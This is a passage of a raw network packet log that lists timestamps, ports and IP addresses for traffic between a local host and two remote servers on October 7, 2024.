Oct 7, 2024 18:00:52.409878016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.409889936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.409899950 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.409900904 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.409913063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.409924984 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.409936905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.409945011 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.409948111 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.409960985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.409965992 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.409972906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.409981966 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.409985065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.409996986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.410008907 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.410037041 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.410598040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.410609007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.410619974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.410630941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.410641909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.410645008 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.410654068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.410662889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.410665035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.410676003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.410681009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.410686970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.410697937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.410708904 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.410708904 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.410718918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.410731077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.410742044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.410762072 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.411429882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.411441088 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.411452055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.411462069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.411473036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.411484957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.411489964 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.411495924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.411508083 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.411509037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.411520004 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.411525965 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.411531925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.411540985 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.411544085 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.411561012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.411569118 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.411571980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.411592960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.411616087 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.412158966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.412170887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.412182093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.412193060 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.412199974 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.412203074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.412228107 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.443051100 CEST	443	49911	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.443541050 CEST	49911	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.443559885 CEST	443	49911	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.444927931 CEST	49911	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.444933891 CEST	443	49911	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.454617977 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.454654932 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.454694986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.454706907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.454725027 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.454741001 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.454906940 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.454950094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.454962969 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.454976082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.454982042 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.455010891 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.473896027 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.473947048 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.473958015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.473963976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.473979950 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.473994970 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.474282980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.474293947 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.474306107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.474324942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.474328041 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.474359989 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.474634886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.474678993 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.474687099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.474699020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.474718094 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.474739075 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.474901915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.474912882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.474925041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.474951982 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.474952936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.474980116 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.475112915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.475181103 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.475191116 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.475203037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.475292921 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.475326061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.475358009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.475403070 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.475414991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.475425959 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.475433111 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.475438118 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.475457907 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.475481987 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.475646973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.475660086 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.475672007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.475678921 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.475692987 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.475707054 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.475811005 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.475822926 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.475833893 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.475846052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.475852013 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.475857973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.475869894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.475878000 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.475881100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.475893021 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.475918055 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.476509094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.476520061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.476531029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.476541042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.476557970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.476569891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.476581097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.476591110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.476604939 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.476618052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.476727009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.476727009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.476727009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.476727009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.476727009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.476727009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.476839066 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.476874113 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.476888895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.476898909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.476923943 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.476934910 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.477077961 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.477088928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.477099895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.477112055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.477119923 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.477147102 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.479928017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.479939938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.479953051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.479964018 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.479975939 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.479976892 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.479986906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.480000973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.480004072 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.480041027 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.494059086 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.494080067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.494091988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.494110107 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.494136095 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.494338989 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.494349957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.494362116 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.494374037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.494383097 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.494385958 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.494395971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.494410038 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.494426966 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.494592905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.494612932 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.494622946 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.494623899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.494635105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.494641066 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.494649887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.494661093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.494671106 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.494692087 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.494977951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.494996071 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.495007992 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.495018005 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.495023012 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.495029926 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.495049953 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.495073080 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.495260000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.495270967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.495282888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.495292902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.495304108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.495312929 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.495326996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.495332003 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.495337963 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.495347977 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.495347977 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.495359898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.495369911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.495378017 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.495397091 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.495408058 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.495424986 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.495496035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.495539904 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.496160030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.496176004 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.496191978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.496207952 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.496208906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.496223927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.496233940 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.496239901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.496258974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.496259928 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.496277094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.496279001 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.496293068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.496301889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.496309996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.496316910 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.496326923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.496330023 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.496344090 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.496345997 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.496361971 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.496361971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.496376991 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.496378899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.496395111 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.496412992 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.497006893 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.497023106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.497068882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.497086048 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.497102976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.497117996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.497119904 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.497133017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.497148037 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.497172117 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.539282084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.539498091 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.539515018 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.539541960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.539566040 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.540755987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.540771961 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.540786982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.540802956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.540807962 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.540838003 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.549249887 CEST	443	49911	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.549288034 CEST	443	49911	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.549334049 CEST	443	49911	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.549335003 CEST	49911	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.549420118 CEST	49911	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.549587011 CEST	49911	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.549587011 CEST	49911	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.549603939 CEST	443	49911	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.549614906 CEST	443	49911	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.552212954 CEST	49916	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.552222967 CEST	443	49916	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.552268982 CEST	49916	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.552416086 CEST	49916	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.552423000 CEST	443	49916	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.559711933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.559731960 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.559745073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.559757948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.559775114 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.559778929 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.559789896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.559801102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.559812069 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.559813976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.559828043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.559830904 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.559839964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.559848070 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.559856892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.559881926 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.559906960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.560112000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.560123920 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.560137033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.560148001 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.560168028 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.561026096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561037064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561048031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561060905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561073065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561075926 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.561084032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561091900 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.561095953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561108112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.561110973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561121941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561134100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561134100 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.561146975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561162949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.561177015 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.561376095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561387062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561398029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561409950 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561419010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.561428070 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561439991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561448097 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.561453104 CEST	80	49831	95.164.90.97	192.168.2.5
